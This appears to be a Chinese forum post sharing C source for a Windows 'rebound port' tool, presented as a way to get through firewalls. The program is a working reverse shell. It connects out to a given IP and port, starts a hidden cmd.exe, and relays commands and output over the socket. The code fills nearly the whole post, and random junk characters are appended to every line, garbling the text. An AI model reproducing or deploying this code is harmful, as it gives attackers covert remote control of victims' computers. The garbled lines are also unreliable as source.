Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 Q#ksf h!D  
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/* ============================== >d]-X]  
Rebound port in Windows NT StTxga|  
By wind,2006/7 AI{0;0  
===============================*/ #4LTUVH  
#include Op~:z<z  
#include 7]5~ml3:  
w%)RX<h dI  
#pragma comment(lib,"wsock32.lib") PyHL`PZZ  
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void OutputShell(); ;Wk3>\nT-  
SOCKET sClient; 6]<yR> '  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; +`Nu0y!rj  
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void main(int argc,char **argv) (0LA.aBIf  
{ \vc&V8  
WSADATA stWsaData; ~~k0&mK|Q  
int nRet; s}` |!
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SOCKADDR_IN stSaiClient,stSaiServer; cyHbAtl  
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if(argc != 3) q8/k$5E  
{ [kr-gV  
printf("Useage:\n\rRebound DestIP DestPort\n"); r^rk@W;[  
return; 5? Y(FhnIC  
} /@&o%I3h  
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WSAStartup(MAKEWORD(2,2),&stWsaData); =B;qy7?  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); _1$
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stSaiClient.sin_family = AF_INET; }.9a!/@Aj  
stSaiClient.sin_port = htons(0); \vV]fX  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); u6l)s0Q  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) KOXG=P0  
{ &K[~Ab_  
printf("Bind Socket Failed!\n"); o::9M_;  
return; 4%_c9nat  
} MzKl=G  
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stSaiServer.sin_family = AF_INET; Tw`dLK?  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); &LB`  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Ic!x y  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) #X$s5H  
{ hmuhq:<f  
printf("Connect Error!"); y<R5}F  
return; :ntAU2)H  
} #FRm<9/j  
OutputShell(); B]gyj  
} W)  
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void OutputShell() NhF"%  
{ wEI? 9  
char szBuff[1024]; ,`a
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SECURITY_ATTRIBUTES stSecurityAttributes; Em{;l:;(W  
OSVERSIONINFO stOsversionInfo; W}zq9|p  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 3?_%|;ga  
STARTUPINFO stStartupInfo; 'BgR01w J  
char *szShell; z/QYy)_j  
PROCESS_INFORMATION stProcessInformation; i7YUyU  
unsigned long lBytesRead; OR|Jc+LT  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); E|_8#xvb  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); /FPO'} 6i  
stSecurityAttributes.lpSecurityDescriptor = 0; Wk/Q~o  
stSecurityAttributes.bInheritHandle = TRUE; -Ks)1w>l
 
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); BAi0w{  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); w6mYLK%  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); !>Q\Y`a,*  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^vxNS[C`;  
stStartupInfo.wShowWindow = SW_HIDE; ? }`mQ<~  
stStartupInfo.hStdInput = hReadPipe; ==%5Ci7qMy  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; e8(Qx3T?b  
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GetVersionEx(&stOsversionInfo); OBF-U]?Y  
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switch(stOsversionInfo.dwPlatformId) hV) `e"r\s  
{ N;>s|ET  
case 1: " L,9.b  
szShell = "command.com"; q%vel.L]%  
break; }K,3SO(:  
default: 9}fez)m:g0  
szShell = "cmd.exe"; e6{E(=R[M  
break; H`q[!5~8  
} W.D>$R2  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); @uQ *$  
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send(sClient,szMsg,77,0); ICe;p V  
while(1) \GioSg  
{ U^)`_\/;?  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 10m|?  
if(lBytesRead) 2
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{ Q~' \oWz  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 2!b##`UjA7  
send(sClient,szBuff,lBytesRead,0); `Nz`5}8.?  
} .XkVdaX  
else 4mX?PKvbn  
{ I};*O6D`  
lBytesRead=recv(sClient,szBuff,1024,0); QJjk#*?,|  
if(lBytesRead<=0) break; TK~KM  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); @" umY-1f  
} ,69547#o  
} 8=0I4\  
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return; c"1Z,M;G  
}